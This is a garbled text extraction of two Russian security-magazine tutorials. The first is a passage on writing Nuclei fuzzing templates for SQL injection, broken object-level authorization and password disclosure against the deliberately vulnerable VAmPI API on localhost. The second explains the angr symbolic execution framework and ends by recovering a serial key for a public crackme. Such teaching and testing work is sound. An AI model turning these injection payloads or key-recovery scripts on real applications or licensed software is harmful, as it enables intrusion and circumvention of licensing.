Ес тес твен но, руками мы это делать тоже не будем. Сно ва вос поль зуем ся :jq

jq 'walk(if type == "object" and has("in") and .in == "path" then .
schema.example = .name else . end)' openapi.json > openapi_done.json 

И что бы не выпол нять все эти три дей ствия каж дый раз, соберем одну коман- 
ду jq, которая пре обра зует всё сра зу:

уда ляет все свой ства  на любом уров не вло жен ности;• security

ус танав лива ет свой ство  на пер вом уров не вло жен ности в зна- 
чение ;

• servers

[{"url": "http://127.0.0.1:5002"}]

для всех парамет ров  из спе цифи кации OpenAPI меня ет зна чение
свой ства  на  самого парамет ра.

• path

example name

jq '
 del(.. | .security?) |
 .servers = [{"url": "http://127.0.0.1:5002"}] |
 walk(
   if type == "object" and has("in") and .in == "path" then
     .schema.example = .name
   else
     .
   end
 )
' openapi.json > openapi_done.json 

Под готовив OpenAPI, мы можем прис тупить к написа нию кас томных шаб- 
лонов Nuclei для нашего при ложе ния.

Продолжение статьи →

http://saintcode.ru/
https://github.com/erev0s/VAmPI
https://swagger.io/docs/specification/authentication/bearer-authentication/
https://github.com/projectdiscovery/nuclei/issues/5495
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ÏÈØÅÌ ÊÀÑÒÎÌÍÛÅ ØÀÁËÎÍÛ NUCLEI

Нач нем с аутен тифика ции. Регис три руем двух поль зовате лей:

curl   -X 'POST' \\
  'http://127.0.0.1:5002/users/v1/register' \\
   -H 'accept: application/json' \\
   -H 'Content-Type: application/json' \\
  -d '{
 "email": "alice@mail.com",
 "password": "alice",
 "username": "alice"
}'

: 
, : 

{"message" "Successfully registered. Login to receive an auth token.
" "status" "success"}

curl   -X 'POST' \\
  'http://127.0.0.1:5002/users/v1/register' \\
   -H 'accept: application/json' \\
   -H 'Content-Type: application/json' \\
  -d '{
 "email": "bob@mail.com",
 "password": "bob",
 "username": "bob"
}'

: 
, : 

{"message" "Successfully registered. Login to receive an auth token.
" "status" "success"}

Ло гиним ся от име ни одно го из них и получа ем :auth_token

curl   -X 'POST' \\
  'http://127.0.0.1:5002/users/v1/login' \\
   -H 'accept: application/json' \\
   -H 'Content-Type: application/json' \\
  -d '{
 "password": "bob",
 "username": "bob"
}'

: 

, : 
, : 

{"auth_token" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJleHAiOjE3MjI5Njk4MzgsImlhdCI6MTcyMjk2OTc3OCwic3ViIjoiYWxpY2UifQ.
BkZug8W447WMpKWlbQv_GlgTePh8ROoIC0LlLwd_pJk" "message"
"Successfully logged in." "status" "success"}

Сос тавля ем незамыс ловатый файл для аутен тифика ции:

secrets.yaml
static:
   - type: bearertoken
   domains:

      - 127.0.0.1:5002
    token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJleHAiOjE3MjI5NDI2MjAsImlhdCI6MTcyMjk0MjU2MCwic3ViIjoiYm9iIn0.
gXjM40hPihDDrKFhOIuZCRjGsxWJamWjATGAynEoW6w

На конец-то мож но прис тупить к шаб лонам для уяз вимос тей.

Ðàñêðûòèå èíôîðìàöèè
На пишем шаб лон, который про веря ет все конеч ные точ ки API на рас кры тие
чувс тви тель ной информа ции.

В нашем учеб ном при мере уяз вимость зак люча ется в рас кры тии паролей
поль зовате лей. Что бы обна ружить пароли в отве тах, мы добавим мат чер
с регуляр ным выраже нием.

Так же нуж но задать усло вие, опре деля ющее, какие эндпо инты под лежат
про вер ке. Нам нуж ны все, кро ме , который отве чает за ини циали- 
зацию базы и может поломать нам стенд.

/createdb

Что бы сде лать зап рос на все под ходящие эндпо инты, мы ука жем 

фаз зинга как , а в качес тве зна чения, которое будем фаз зить, исполь- 
зуем пус тую стро ку.

part
path

templates/disclosure.yaml
 id: disclosure

info:
  name: disclosure
  author: test
  severity: high

http:
  - pre-condition:

       - type: dsl
        negative: true

       dsl:
          - 'contains(path,"createdb")'

   matchers:
       - type: regex

       regex:
        - '"password":\\s*".+"'

    stop-at-first-match: true

   fuzzing:
       - part: path

        mode: single
        type: postfix

       fuzz:
          - ""

SQL-èíúåêöèè
Сле дующим опре делим шаб лон, который отве чает за поиск Error Based SQL-
инъ екций. Под верга ем про вер ке фаз зингом все парамет ры , 

и  всех эндпо интов API (кро ме ). В качес тве мат чера исполь- 

зуем регуляр ные выраже ния, которым могут соот ветс тво вать сооб щения
об ошиб ках SQL.

path query
body /createdb

templates/sqli.yaml
 id: sqli

info:
  name: sqli
  author: test
  severity: critical
http:

  - pre-condition:
       - type: dsl

        negative: true
       dsl:

          - 'contains(path,"createdb")'

   matchers:
       - type: regex

       regex:
          - "SELECT"
          - "SQL"

        condition: or
    stop-at-first-match: true

   payloads:
     injection:

        - "'"
        - "\""
        - "`"

   fuzzing:
       - part: path

        type: postfix
        mode: single

       fuzz:
          - "{{injection}}"

       - part: query
        type: postfix
        mode: single

       fuzz:
          - "{{injection}}"

       - part: body
        type: postfix
        mode: single

       fuzz:
          - "{{injection}}"

Óÿçâèìîñòü Broken Object Level Authorization
Про верим, пра виль но ли реали зова на авто риза ция. Может ли один поль- 
зователь получить неп равомер ный дос туп к дан ным, при над лежащим дру- 
гому? Так как в выб ранном тес товом стен де такая уяз вимость встре чает ся
в path-парамет рах, здесь мы сно ва стал кива емся с огра ниче нием Nuclei,
о котором я упо минал выше. В слу чае с  или  таких проб лем нет.

Но так как мы это уже пре дус мотре ли, можем реали зовать про вер ку и для
path-парамет ров тоже.

query body

Под готовим стенд, соз дав кни гу от поль зовате ля :alice

curl   --location 'http://127.0.0.1:5002/books/v1' \\
  --header 'Content-Type: application/json' \\
 

 

--header 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJleHAiOjE3MjI5ODMwNTgsImlhdCI6MTcyMjk4Mjk5OCwic3ViIjoiYm9iIn0.
xDWXPKyfSEGtoIbQHI7Njd72byquLvg9f9RcRtU8ybM' \\

 --data '{
"book_title": "alice_book",
"secret": "ALICE_SECRET"
}'

{
: , "message" "Book has been added."
: "status" "success"

}

Те перь напишем шаб лон, который про веря ет все path-парамет ры с наз вани- 
ем  на Broken Object Level Authorization, под став ляя наз вание кни- 
ги . Про вер ка при этом будет про водить ся с аутен тифика цией от име ни

.

book_title
alice

bob
Осо бен ность про вер ки  в том, что наз вание парамет ра дол жно

задавать ся в свой стве , а так же необ ходимо исполь зовать 
, что бы заменить толь ко иссле дуемый параметр, а не весь

.

path
values type: 

replace-regex
path

В качес тве мат чера зада ем поиск заранее извес тно го зна чения, которое
может быть дос тупно толь ко поль зовате лю .alice

templates/bola.yaml
 id: bola

info:
  name: bola
  author: test
  severity: high

http:
  - matchers:

       - type: word
       words:

          - "ALICE_SECRET"

   fuzzing:
       - part: path

        type: replace-regex
        replace-regex: "book_title"

        mode: single
       values:

          - "book_title"
       fuzz:

          - "alice_book"

Ñêàíèðóåì ñòåíä
За пус тим Nuclei с под готов ленной спе цифи каци ей OpenAPI, нашими кас- 
томны ми шаб лонами фаз зинга и аутен тифика цией на стен де. В фай ле аутен- 
тифика ции дол жен быть токен .bob

nuclei -l openapi.json -im openapi -t templates -secret-file secrets.
yaml 

Ви дим, что каж дый шаб лон нашел уяз вимос ти в API, на которые он был рас- 
счи тан.

NUCLEI Â CI/CD

На этом воз можнос ти Nuclei не закан чива ются, сов ремен ная раз работ ка —
это неп рерыв ный про цесс, а зна чит, и про вер ки дол жны быть неп рерыв ными!

Nuclei мож но внед рить в пай плайн CI/CD GitLab или GitHub.•
Он поз воля ет соз давать отче ты и отправ лять их в сис темы управле ния уяз- 
вимос тей.

•

Ин тегра ция безопас ности в CI/CD повыша ет защищен ность раз рабаты- 
ваемых при ложе ний бла года ря сис темати чес кой про вер ке каж дой сбор ки
или даже ком мита. Кро ме того, авто мати зация поз воля ет сок ратить количес- 
тво рутин ной работы и сос редото чить ся на инте рес ных и нет риви аль ных
задачах.

ÂÛÂÎÄÛ

С помощью кас томных шаб лонов для фаз зинга и нас тро енной аутен тифика- 
ции мы быс тро наш ли реаль ные и опас ные уяз вимос ти.

Ос новное дос тоинс тво опи сан ного под хода в том, что мы про веря ем API
тес тиру емо го при ложе ния  с уче том необ ходимо го фор- 
мата зап росов и не спо тыка емся о валида цию и авто риза цию.

òàð ãåòèðî âàí íî

Важ ный плюс в том, что мы можем заново исполь зовать один раз написан- 
ные шаб лоны для новых вер сий текуще го при ложе ния, а так же при менять
для дру гих при ложе ний со спе цифи каци ей OpenAPI.

WWW

•Nuclei v3.2 Release with Authenticated Scanning,
Advanced Fuzzing & more

•Fuzzing for Unknown Vulnerabilities with Nuclei
v3.2

•Scanning Login-Protected Targets with Nuclei
v3.2

•Nuclei Overview
•Introduction to Nuclei Templates

https://blog.projectdiscovery.io/nuclei-3-2/
https://blog.projectdiscovery.io/nuclei-fuzzing-for-unknown-vulnerabilities/
https://blog.projectdiscovery.io/scanning-login-protected-targets-with-nuclei/
https://docs.projectdiscovery.io/tools/nuclei/overview
https://docs.projectdiscovery.io/templates/introduction
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ВЗЛОМ

Angr — эму лятор на сте роидах. Он
кросс-плат формен ный и под держи вает
боль шинс тво популяр ных архи тек тур: с ним
на Linux мож но искать уяз вимос ти в PE32,
а на Windows — ковырять про шив ки роуте- 
ров. В этой статье я на при мере работы
в Linux покажу, как его исполь зовать.

Сим воличес кий эму лятор поз воля ет раз вернуть поиск дыр на 180 гра дусов.
Фаз зинг, ска жем, через AFL про бует все воз можные вход ные дан ные. Angr
же, нап ротив, переби рает все воз можные пути исполне ния, вос созда вая
вход ные дан ные, при которых мы дос тигли инте ресу юще го нас учас тка кода.

Нап ример, возь мем код из моей :статьи про Intel Pin

 #include <stdio.h>
 #include <string.h>

    int main(int argc, char* argv[])
{
      if (argc == 2)
   {

           if (strcmp(argv[1], "secret") == 0)
       {
           printf("You did it!\n");
       }
       else
       {
           printf("Better luck next time\n");
       }
   }
}

Пол ный перебор шес ти сим волов пот ребу ет 256 в 6-й сте пени попыток.
Для Angr есть все го одна раз вилка: пой ти налево или нап раво. И он пой дет
и туда, и туда! Нам оста ется лишь ска зать ему, в какой момент оста новить ся
и под счи тать вход ные дан ные.

 import sys
 import angr
 import claripy

  project = angr.Project('get_pass.bin')
   arg = claripy.BVS('arg', 8*10)

   initial_state = project.factory.entry_state(args=['./a.out', arg])
initial_state.options.add('SYMBOL_FILL_UNCONSTRAINED_MEMORY')

 def is_successful(state):
     stdout_output = state.posix.dumps(sys.stdout.fileno())
      return b'You did it' in stdout_output

  simulation = project.factory.simgr(initial_state)
simulation.explore(find=is_successful)

 if simulation.found:
     solution_state = simulation.found[0]
      solution = solution_state.solver.eval(arg, cast_to=bytes).decode(
)
    print('Password:', solution)

За пус тив скрипт, за секун ду получа ем иско мый пароль.

 

 

 $ python angr_get_pass.py
Password: secret

Не перес казывая всю , объ ясню, что необ ходимо для стар та.до кумен тацию
Пер вым делом ста вим Angr (пот ребу ется Python 3.8 или новее):

pip angrinstall 

Angr спро екти рован для работы из кон соли. Докумен тация зачас тую не рас- 
кры вает всех воз можнос тей, так что советую изу чать инс тру мент «живь ем».
По каж дому объ екту в инте рак тивном режиме мож но получить справ ку
из  коман дой  (или , если у тебя ).docstring help(project) project? iPython

Поль зовать ся справ кой мож но так же, как и : управле ние — на стрел- 

ках, выход через .

man
q

Ну а смот реть поля и методы клас сов удоб но через авто допол нение:
допиши к наз ванию клас са точ ку и пару раз наж ми Tab.

Продолжение статьи →

https://xakep.ru/2024/08/14/intel-pin/
https://docs.angr.io/en/latest/index.html
https://pypi.org/project/ipython/


УПРАВЛЕНИЕ ГНЕВОМ
ИЗУЧАЕМ ANGR — ФРЕЙМВОРК
СИМВОЛИЧЕСКОЙ ЭМУЛЯЦИИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÎÑÍÎÂÍÛÅ ÊÎÍÖÅÏÖÈÈ

Все начина ется с клас са , его соз дание — это начало вза имо дей- 

ствия с Angr. Про ект отве чает за заг рузку и пер вичный ана лиз.

Project

Пе реда ем путь до иссле дуемо го фай ла и, что бы начать симуля цию
со стар та прог раммы, соз даем новое сос тояние через 

. Фаб рика соз дает экзем пля ры основных клас сов. Сос тояние —

это объ ект , фак тичес ки — сни мок вир туаль ной машины. Он содер- 

жит блок кода, память, регис тры, стек вызовов и дру гие вещи, реали зуемые
как пла гины к .

factory.
entry_state

SimState

SimState

initial_state.regs.rip 
<BV64 0x401080> 

Ис поль зуемые в симуля ции дан ные хра нят ся в битовом мас сиве .
Он стро го огра ничен по дли не и может быть перепол нен, то есть ведет себя
как про цес сорный регистр. Его раз мер всег да ука зыва ется в битах.

bitvector

Су щес тву ет два основных типа:  (bit-vector value) и  (bit-vector
symbol). Пер вый пред став ляет кон крет ные зна чения чисел. Вто рой содер жит
толь ко имя и раз мер. Это осно ва сим воличес кого исполне ния, кон крет ного
зна чения здесь нет.

BVV BVS

Áàçîâûå áëîêè
Каж дое сос тояние свя зано с кон крет ным бло ком кода. Мес тный базовый
блок — это набор инс трук ций, который закан чива ется коман дой переда чи
управле ния. Каж дый шаг эму ляции переме щает нас к сле дующе му бло ку, соз-
давая новое сос тояние.

Ме нед жер симуля ции опе риру ет толь ко адре сами начала бло ков, но не
кода внут ри них. Если это не учи тывать, менед жер не смо жет най ти нуж ное
сос тояние.

initial_state.block().pp() 
      _start: 
401080  endbr64 
401084  xor     ebp, ebp 
401086  mov     r9, rdx 
401089  pop     rsi 
40108a  mov     rdx, rsp 
40108d  and     rsp, 0xfffffffffffffff0 
401091  push    rax 
401092  push    rsp 
401093  xor     r8d, r8d 
401096  xor     ecx, ecx 
401098  lea     rdi, [main] 
40109f  call    qword ptr [0x403fd8] 

Это дизас сем бли рован ный базовый блок. Из его ассем блер ных инс трук ций
соз дает ся про межу точ ный VEX-код. Мож но ска зать, что это код для вир туаль- 
ного про цес сора, с которым работа ют ана лиза торы.

initial_state.block().vex.pp() 

IRSB { 
 00 | ------ IMark(0x401080, 4, 0) ------ 
 01 | ------ IMark(0x401084, 2, 0) ------ 
 02 | PUT(rbp) = 0x0000000000000000 
 03 | ------ IMark(0x401086, 3, 0) ------ 
 04 | t30 = GET:I64(rdx) 
 05 | PUT(r9) = t30 
 06 | PUT(rip) = 0x0000000000401089 
 07 | ------ IMark(0x401089, 1, 0) ------ 
 08 | t4 = GET:I64(rsp) 
 09 | t3 = LDle:I64(t4) 
 10 | t31 = Add64(t4,0x0000000000000008) 
 11 | PUT(rsi) = t3 
 12 | ------ IMark(0x40108a, 3, 0) ------ 
 13 | PUT(rdx) = t31 
 14 | ------ IMark(0x40108d, 4, 0) ------ 
 15 | t5 = And64(t31,0xfffffffffffffff0) 
 16 | PUT(rip) = 0x0000000000401091 
 17 | ------ IMark(0x401091, 1, 0) ------ 
 18 | t8 = GET:I64(rax) 
 19 | t33 = Sub64(t5,0x0000000000000008) 
 20 | PUT(rsp) = t33 
 21 | STle(t33) = t8 
 22 | PUT(rip) = 0x0000000000401092 
 23 | ------ IMark(0x401092, 1, 0) ------ 
 24 | t35 = Sub64(t33,0x0000000000000008) 
 25 | PUT(rsp) = t35 
 26 | STle(t35) = t33 
 27 | ------ IMark(0x401093, 3, 0) ------ 
 28 | PUT(r8) = 0x0000000000000000 
 29 | ------ IMark(0x401096, 2, 0) ------ 
 30 | PUT(cc_op) = 0x0000000000000013 
 31 | PUT(cc_dep1) = 0x0000000000000000 
 32 | PUT(cc_dep2) = 0x0000000000000000 
 33 | PUT(rcx) = 0x0000000000000000 
 34 | ------ IMark(0x401098, 7, 0) ------ 
 35 | PUT(rdi) = 0x0000000000401169 
 36 | PUT(rip) = 0x000000000040109f 
 37 | ------ IMark(0x40109f, 6, 0) ------ 
 38 | t21 = LDle:I64(0x0000000000403fd8) 
 39 | t51 = Sub64(t35,0x0000000000000008) 
 40 | PUT(rsp) = t51 
 41 | STle(t51) = 0x00000000004010a5 
 42 | t53 = Sub64(t51,0x0000000000000080) 
 43 | ====== AbiHint(0xt53, 128, t21) ====== 
 NEXT: PUT(rip) = t21; Ijk_Call 

} 

Про межу точ ный код пред став лен в Intermediate Representation Super-Block.
Пос мотрим, из чего он сос тоит:

 показы вает раз мер и адрес ори гиналь ной инс трук ции;• IMark

 записы вает зна чение в регистр;• PUT

 получа ет зна чение регис тра, пос тфикс ука зыва ет раз мер
в битах;

• GET:I64

 — вир туаль ная перемен ная, сок ращение от  и ее номер;• t30 temp

 — Load in little-endian. Получа ет зна чение по адре су;• LDle

 — Store in little-endian. Записы вает зна чение по адре су;• STle

 — опе рация сло жения;• Add64

 — опе рация вычита ния;• Sub64

 — опе рация логичес кого И;• And64

 отоб ража ет переход к сле дующе му бло ку и его тип .• NEXT Ijk_Call

Код опти мизи рован, счет чик команд  изме няет ся не у каж дой инс трук ции.rip
Вмес то того что бы хра нить , про межу точ ный код записы вает:EFLAGS

 — код опе рации, про води мой над фла гами;• cc_op

,  и  — вспо мога тель ные зна чения.• cc_dep1 cc_dep2 cc_ndep

Су дя по , VEX,  — это , то есть дек ремент

одно го бай та. Кон крет ные зна чения фла гов вычис ляют ся по мере необ- 
ходимос ти.

ис ходни кам 0x13 X86G_CC_OP_DECB

Óïðàâëåíèå ñèìóëÿöèåé
Мы можем управлять симуля цией вруч ную. Что удоб но для отладки.

 

 

 

 
 

>>> next = initial_state.step()
>>> type(next)
<class 'angr.engines.successors.SimSuccessors'>

 >>> next.successors
[<SimState @ 0x529dc0>]

Фун кция  воз вра щает объ ект , он

содер жит спи сок сос тояний, которые воз ника ют пос ле эму ляции текуще го
бло ка.

initial_state.step() SimSuccessors

Ес ли в кон це бло ка встре чает ся раз вилка (условный переход), соз дает ся
два новых сос тояния. Это про исхо дит, ког да выбор пути зависит от сим- 
воличес кой перемен ной. Если переход зависит толь ко от извес тных зна- 
чений, воз можен лишь один выбор, что рав носиль но безус ловно му перехо ду.

Ме нед жер симуля ции руково дит исполне нием кода. Объ ект
 соз дает ся в . Фак тичес ки

это удоб ная обер тка, в цик ле запус кающая . Она реша ет, в каких вет- 
ках про дол жать, а в каких прек ращать эму ляцию.

SimulationManager project.factory.simgr
step()

По ходу исполне ния все сос тояния скла дыва ются в спе циаль ные «ящи ки»:

simulation.stashes 

defaultdict(list, 
{'active': [], 
'stashed': [<SimState @ 0x401080>], 
'pruned': [], 
'unsat': [], 
'errored': [], 
'deadended': [],
'unconstrained': []}) 

Stashes — сло варь из обыч ных питонь их спис ков. Сос тояния до запус ка
лежат в , во вре мя симуля ции — в , по завер шении кода —
в . Это не пол ный перечень, и ты тоже можешь соз давать ящи ки

под свои нуж ды.

stashed active
deadended

За пус кая симуля цию через , мож но переда вать аргу- 

мен ты:

simulation.explore

 при нима ет адрес иско мого сос тояния или фун кцию для про вер ки
каж дого;

• find

 ана логич но, но для адре сов, которых сле дует избе гать.• avoid

Сле дующие аргу мен ты при над лежат , но их мож но переда- 

вать в . Об этом ниг де явно не ска зано, так что советую
читать исходни ки.

simulation.step
simulation.explore

 вызыва ется пос ле каж дого шага, полез на для отладки;• step_func

 — говорим, в какой ящик помес тить най ден ное сос тояние;• filter_func

 спра шива ет, сто ит ли исполнять текущее сос тояние.• selector_func

Си муля ция закан чива ется, если най дено сос тояние из  или код из всех

веток завер шился. Тог да  воз вра щает управле ние. Если
иско мое сос тояние най дено, оно помеща ется в ящик .

find
simulation.explore

found
Для наг ляднос ти слег ка изме ним код:

 def next_step(simulation):
           print({k: v for k, v in simulation.stashes.items() if v})
    return simulation

  simulation = project.factory.simgr(initial_state)
 simulation.explore(find=is_successful, step_func=next_step)

И уви дим сос тояния на каж дом шаге:

{'active': [<SimState @ 0x529dc0>]} 
{'active': [<SimState @ 0x401169>]} 
{'active': [<SimState @ 0x401182>]} 
{'active': [<SimState @ 0x401070>]} 
{'active': [<SimState @ 0x5a82e0>]} 
{'active': [<SimState @ 0x40119f>]} 
{'active': [<SimState @ 0x4011a3>, <SimState @ 0x4011b4>]} 
{'active': [<SimState @ 0x401060>, <SimState @ 0x401060>]} 
{'active': [<SimState @ 0x580e50>, <SimState @ 0x580e50>]} 
{'active': [<SimState @ 0x4011b2>, <SimState @ 0x4011c3>]} 
{'active': [<SimState @ 0x4011d4>], 'found': [<SimState @ 0x4011b2>]} 

На раз вилке эму лятор пошел в обе сто роны. И закон чил работу, напол нив
ящик .found

Àâòîìàòè÷åñêèé âûáîð ïóòåé
Обыч ный  идет «вширь», помещая все раз вилки в ящик на одновре- 

мен ное исполне ние. Одна ко цик лы и раз вилки соз дают мно жес тво воз- 
можных мар шру тов, что может при вес ти к взрыв ному рос ту количес тва путей.
Для решения этой проб лемы мож но исполь зовать 

 — стра тегии поис ка, которые реша ют, куда и в каком поряд ке
идти.

explore

exploration 
techniques

simulation.use_technique(angr.exploration_techniques.DFS())

Тех ника Depth rst search работа ет толь ко с одним сос тоянием за раз,
помещая осталь ные в оче редь. В роли оче реди — ящик .deferred

simulation.use_technique(angr.exploration_techniques.LengthLimiter(10
))

Эта тех ника поис ка огра ничи вает мак сималь ную глу бину эму ляции для каж- 
дого пути. И таким обра зом про водит быс трую, но повер хностную эму ляцию.

Го товых тех ник немало, но они пло хо докумен тирова ны, так что смот ри 
.

ис- 
ходни ки

Ñèìâîëè÷åñêîå èñïîëíåíèå
Вы чис ление сим воличес ких перемен ных про изво дит ся биб лиоте кой .
Как мы уже зна ем, сим воличес кие перемен ные не содер жат кон крет ных зна- 
чений. Эму лято ру известен толь ко их раз мер и огра ниче ния, нак ладыва емые
по ходу исполне ния. Нап ример, соз дадим перемен ную  раз мером 64 бита

и добавим огра ниче ние .

Z3

x
x + 2 == 5

   x = state.solver.BVS('x', 64)
    state.solver.add(x + 2 == 5)

state.solver.eval(x)

Поп росив вычис лить воз можное решение, получа ем в ответ 0x3. Такие же
огра ниче ния нак ладыва ются на сим воличес кие перемен ные пос ле каж дого
бло ка. Для при мера рас смот рим прос тое вет вле ние.

  void test(int var)
{
     if(var > 5)
   {
       printf("A");
   }
   else
   {
       printf("B");
   }
}

Под смот рев адрес в отладчи ке, эму лиру ем начало этой фун кции. Переда ем
аргу мент через под мену EDI, помес тив в него сим воличес кую перемен ную
дли ной 32 бита.

  state = project.factory.blank_state(addr=0x401149)

   state.regs.edi = claripy.BVS('func_arg', 32)
   state_left, state_right = state.step().successors

 print('Left:', state_left.solver.constraints)
 print('Right:', state_right.solver.constraints)

Ви дим огра ниче ния: что бы пой ти налево, перемен ная дол жна быть мень ше
или рав на пяти.

 

 

 Left: [<Bool (0x0 .. func_arg_49_8) <=s 0x5>]
Right: [<Bool (0x0 .. func_arg_49_8) >s 0x5>]

Для срав нения поп робу ем передать кон крет ное зна чение.

   state.regs.edi = claripy.BVV(1337, 32)

print(state.step().successors)
 print('Constraints:', state.step().successors[0].solver.constraints)

Ра зуме ется, 1337 боль ше, чем 5. В таком слу чае воз можный переход будет
все го один и без огра ниче ний.

 

 

 [<SimState @ 0x40115e>]
Constraints: []

Сим воличес кие фун кции так же нак ладыва ют свои огра ниче ния, но понять их
нелег ко.

 

 

 

>>> solution_state.solver.constraints

<Bool strlen_51_64 == 0x6 && (arg_48_80[79:72] == 115 || strlen_51_64 < 
0x0) && (arg_48_80[71:64] == 101 || strlen_51_64 < 0x1) && (arg_48_80[
63:56] == 99 || strlen_51_64 < 0x2) && (arg_48_80[55:48] == 114 || 
strlen_51_64 < 0x3) && (arg_48_80[47:40] == 101 || strlen_51_64 < 0x4) 
&& (arg_48_80[39:32] == 116 || strlen_51_64 < 0x5) && strncmp_ret_52_32{
UNINITIALIZED} == 0x0 || !(strlen_51_64 == 0x6 && (arg_48_80[79:72] == 
115 || strlen_51_64 < 0x0) && (arg_48_80[71:64] == 101 || strlen_51_64 < 
0x1) && (arg_48_80[63:56] == 99 || strlen_51_64 < 0x2) && (arg_48_80[55:
48] == 114 || strlen_51_64 < 0x3) && (arg_48_80[47:40] == 101 || 
strlen_51_64 < 0x4) && (arg_48_80[39:32] == 116 || strlen_51_64 < 0x5)) 
&& strncmp_ret_52_32{UNINITIALIZED} == 0x1>

Дос таточ но знать, что это матема тичес кая фор мула, для которой будет най- 
дено воз можное решение.

Ñèìâîëè÷åñêèå ôóíêöèè
Код при ложе ния под верга ется эму ляции, но что про исхо дит с внеш ними
модуля ми? Angr через хуки под меня ет вызовы биб лиотеч ных фун кций
питонов ски ми заг лушка ми , симули рующи ми выпол нение нуж- 

ных фун кций. То же самое про исхо дит при вызове syscall. Если заг лушка
не най дена, выпол няет ся стан дар тная заг лушка .

SimProcedures

ReturnUnconstrained
По умол чанию все внеш ние фун кции перех ватыва ются. Поведе ние Angr

нес ложно нас тро ить при соз дании про екта. Отдель ные фун кции или весь
внеш ний код мож но эму лиро вать, но это пло хо ска зыва ется на про изво- 
дитель нос ти.

Пос мотрим спи сок уста нов ленных хуков.

     >>> for addr, proc in project._sim_procedures.items():
      >>> print(hex(addr), proc.display_name)

 0x529dc0 __libc_start_main
 0x580e50 puts
 0x5a82e0 strcmp
 0x8181d0 __tls_get_addr
 0x900000 LinuxLoader

# (...)

Го товые заг лушки нас леду ют класс , при меры в .SimProcedure ис ходни ках

 class puts(angr.SimProcedure):

     def run(self, string):
         stdout = self.state.posix.get_fd(1)

          if stdout is None:
            return -1

         strlen = angr.SIM_PROCEDURES["libc"]["strlen"]
          length = self.inline_call(strlen, string).ret_expr

          out = stdout.write(string, length)
       stdout.write_data(self.state.solver.BVV(b"\n"))

         return (out + 1)[31:0]

Ху ки мож но уста новить, ука зав адрес:

 project.hook(0x401000, my_stub())

Или имя сим вола:

 project.hook_symbol('fgets', my_fgets())

В Angr сим волы свя зыва ют име на с кон крет ными адре сами. Они соз дают ся
во вре мя заг рузки исполня емо го фай ла.

 

 

 

print(project.loader.find_symbol('printf'))

<Symbol "printf" in libc.so.6 at 0x5606f0>

Ра ди любопытс тва мож но пос мотреть их все:

    for item in project.loader.symbols: print(item)

Нап ример, эти взя ты из дебаг-сим волов ELF-фай ла:

<Symbol "_start" in get_pass at 0x401080> 
<Symbol "main" in get_pass at 0x401169> 
<Symbol "_fini" in get_pass at 0x4011dc> 

ÂÎÑÑÒÀÍÎÂËÅÍÈÅ ÑÅÐÈÉÍÎÃÎ ÍÎÌÅÐÀ

Что бы все было по-чес тно му, возь мем реаль ный  для Windows.crackme

 

 

 

 

 

$ wine SerialGen.exe

"SerialGen" crackme by DosX

 USERNAME   >>> user
SERIAL KEY >>> password

[-] Wrong serial. License is expired :(

За дача сос тоит в том, что бы получить серий ный номер для кон крет ного име- 
ни поль зовате ля. Вос ста новив псев докод в , видим раз мер
буфера и метод вво да.

Binary Ninja

   int32_t var_c = 1;
printf("\n    "SerialGen" crackme by Dos…");

   char* eax = malloc(0x20);
  fgets(eax, 0x20, _iob);

    eax[(strlen(eax) - var_c)] = 0;

   if (strlen(eax) != i_1)
{
   printf(" SERIAL KEY >>> ");
      char* eax_7 = malloc(0x20);
     fgets(eax_7, 0x20, _iob);
       eax_7[(strlen(eax_7) - var_c)] = 0;

Фун кция  получа ет обе стро ки в буфер дли ной 0x20 байт. От них берет- 
ся раз мер, и пос ледний байт заменя ется нулем. Нас тоящий  воз вра- 

щает стро ку с дву мя бай тами на кон це — сим волом перено са стро ки и нулем.
Запоми наем адре са бло ков, выводя щих сооб щения об успе хе и неуда че.

fgets
fgets

 import sys
 import angr

  username = 'xakep.ru'

  path_to_binary = "./SerialGen.exe"
  project = angr.Project(path_to_binary)

  initial_state = project.factory.entry_state(
   add_options={
       angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
       angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS,
   }
)

  old_hook = project.symbol_hooked_by('fgets')

 class FgetsHook(angr.SimProcedure):
       def run(self, str_addr, count, stream):

          self.state.memory.store(str_addr, username.encode() + b'\n\
x00')

         self.project.hook_symbol('fgets', old_hook, replace=True)

  project.hook_symbol('fgets', FgetsHook(), replace=True)
  simulation = project.factory.simgr(initial_state)

 simulation.explore(find=0x004012e3, avoid=0x004012fa)

 if simulation.found:
     solution_state = simulation.found[0]
     solution = solution_state.posix.dumps(sys.stdin.fileno()).decode(
)
    print(username, solution.upper())

Сим воличес кие перемен ные не ука заны явно, по умол чанию стан дар тный
поток вво да реали зует ся как . Его мож но рас смат ривать

как набор перемен ных, соз дава емых по мере необ ходимос ти.

SimPacketsStream

 

 

 

>>> solution_state.posix.stdin.content

[(<BV248 packet_0_stdin_4_248>, <BV32 0x1f>)]

Что бы передать имя поль зовате ля, заменя ем исходный хук  сво им,

в котором воз вра щаем жела емую стро ку в обход STDIN. Как толь ко наш хук
сра баты вает, вос ста нав лива ем ста рый. Под менять резуль таты фун кций удоб- 
нее, чем поток вво да. Как толь ко менед жер симуля ции находит блок с адре- 
сом , кон кре тизи руем зна чение STDIN через .

fgets

0x004012e3 posix.dumps

 

 

 

 

 

 

 $ python crackme.py
xakep.ru SERIAL-00E19-01147-03D9A-11620

$ wine SerialGen.exe

"SerialGen" crackme by DosX

 USERNAME   >>> xakep.ru
SERIAL KEY >>> SERIAL-00E19-01147-03D9A-11620

[+] Welcome, xakep.ru! :)

Ре шение выг лядит прос тым, но я пот ратил кучу вре мени на отладку. Во-пер- 
вых, не сра зу заметил, что  сох раня ет перенос стро ки. Во-вто рых,

 из Angr воз вра щает строч ку в ниж нем регис тре, а  из Wine —

в вер хнем. Про верив код в Windows, убеж даем ся, что Wine был прав. Я уже
зарепор тил этот баг. Как видишь, даже ори гиналь ные ста бы Angr могут
содер жать ошиб ки.

fgets
sprintf sprintf

ÂÛÂÎÄÛ

Angr — на удив ление мощ ный инс тру мент, одна ко у сим воличес кого исполне- 
ния есть свои огра ниче ния. За пару минут мне уда лось «взло мать» ключ
от CRC32, но фор мула для вос ста нов ления дан ных из хеша MD5 ока залась
не под силу Z3.

Ра зуме ется, Angr не может симули ровать боль шие при ложе ния. Но если
